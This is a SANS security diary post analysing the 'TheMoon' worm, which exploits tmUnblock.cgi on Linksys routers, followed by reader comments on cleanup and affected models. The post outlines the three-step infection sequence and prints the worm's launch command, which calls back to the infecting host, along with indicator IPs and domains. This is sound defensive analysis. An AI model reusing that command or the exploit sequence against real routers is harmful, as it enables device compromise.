My next class:

More Details About "TheMoon" Linksys Worm

Published: 2014-02-18. Last Updated: 2014-02-18 20:40:28 UTC
by Johannes Ullrich (Version: 1)
7 comment(s)

Using a vulnerable Linksys E1200 router in a lab, I was finally able to capture the complete (?) sequence of exploits used by the Linksys Worm "TheMoon". 

The quick summary of what I found so far:

  • The complete sequence uses three exploits, all exploiting the same vulnerable script "tmUnblock.cgi"
  • Initially, the worm binary is uploaded to the vulnerable router
  • Next, the binary is renamed to "/tmp/Gerty" and made executable
  • the third request starts "Gerty" and passes the infecting IP as parameters. Gerty will send a request to this IP, likely to confirm that it was launched.

I did not see any configuration changes in the router (password, DNS...)

As we wrote earlier, the initial "HNAP1" request is just used to fingerprint the router to figure out if it is vulnerable.

The worm sends a number of DNS queries:

  • one A query for 83.219.168.0/24 (this doesn't really make sense, and is likely a bug. This is the network range that is then scanned)
  • A queries for ruhmanadin.dyndns.org which in my case resolved to 139.194.237.79. I did not see any connections to this IP. I suspect that this is an IP address used to report successful exploitation.

The "Gerty" binary checks in with the host the infection comes from. The ports are send as parameters. In my case, the complete command was:

cd /tmp/;./Gerty -L 24.205.94.32:8080:9841 -u xxxxxx

As a result, the connection went to port 9841 at 24.205.94.32. About 1.4MBytes are sent, most of it binary.  But there are a few readable strings like a timestamp, the SSID of the router and the string "Lunar Industries LTD".

For a full pcap of the activity, see https://isc.sans.edu/diaryimages/moon.pcap . I tried to anonymize the pcap as much as possible, but some of the IPs were left intact. If you find anything else, please let me know. Note that the pcap includes a capture of the binary file as well (look for the http traffic on port 700). To protect others, I redirected all outbound port 80/8080 traffic to a sinkhole which may cause some artifacts.

------

Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

7 comment(s)
My next class:

Comments

Linksys has published a bulletin on how to clean-up an infected router.

http://kb.linksys.com/Linksys/ukp.aspx?pid=80&app=vw&vw=1&login=1&json=1&docid=56b6de2449fd497bb8d1354860f50b76_How_to_prevent_getting_The_Moon_malware.xml
Is the underlying vulnerability... command injection susceptible cgi scripts which also don't validate credentials... accessible via LAN and/or Wireless interfaces?
Interesting that there are similar names and details from http://en.wikipedia.org/wiki/Moon_(film)
The Linksys page describes only E series routers. I have a WCG200 v2 Wireless Gateway Router that has recently been experiencing very similar behavior.
A "Shields Up" test revealed no vulnerability, but for days I have been getting port scans followed by SYN FLOODs to my main PC. Yesterday the log showed "IP packet" type entries with connection drops followed by LAN SIDE SYN FLOODS targetted at different IPs around the world. I am seriously wondering if this is indeed the Moon worm on my old unit with stock firmware.
[quote=comment#29858]The Linksys page describes only E series routers. I have a WCG200 v2 Wireless Gateway Router that has recently been experiencing very similar behavior.
A "Shields Up" test revealed no vulnerability, but for days I have been getting port scans followed by SYN FLOODs to my main PC. Yesterday the log showed "IP packet" type entries with connection drops followed by LAN SIDE SYN FLOODS targetted at different IPs around the world. I am seriously wondering if this is indeed the Moon worm on my old unit with stock firmware.[/quote]

I think its highly unlikely its the same vulnerability on the WCG200. The vulnerabile Linksys routers are linux based routers with specific vulnerabilities in the closed source minihttpd daemon. While the WCG200 is running some version of vxworks. As far as I can tell the vulnerability being exploited only exists on hardware running a linux kernel, with specific chipsets and some specific closed source code. So I doubt it would work against any of the vxworks based units.
Has anyone actually checked /dev/nvram before and after a device has been infected? People seem to be hung up on the fact that the system puts files in /tmp and that they go away on reboot. But I would be more concerned about what it puts into the nvram config and no where am I seeing anyone suggesting that you reset the router defaults to clean up the device. There a numerous nooks and crannies to hide stuff on these devices once you have root access.

On some users I have recommended that they reflash the firmware and do a factory reset on the device to make sure. But many of the devices don't have firmware that is downloadable from linksys. As linksys doesn't release the "shipped" firmware files just the updated ones. So if there hasn't been an update since the device shipped then there isn't a firmware file to install.
I haven't checked all the specs on all of the WCG200 models, but I did find that the architecture for that product changed a number of times through out its production.
I design electronic hardware and I was surprised that they kept changing the processor and the firmware at almost every revision. So there is a possibility that some are running VX and some Linux depending on the production run.

Diary Archives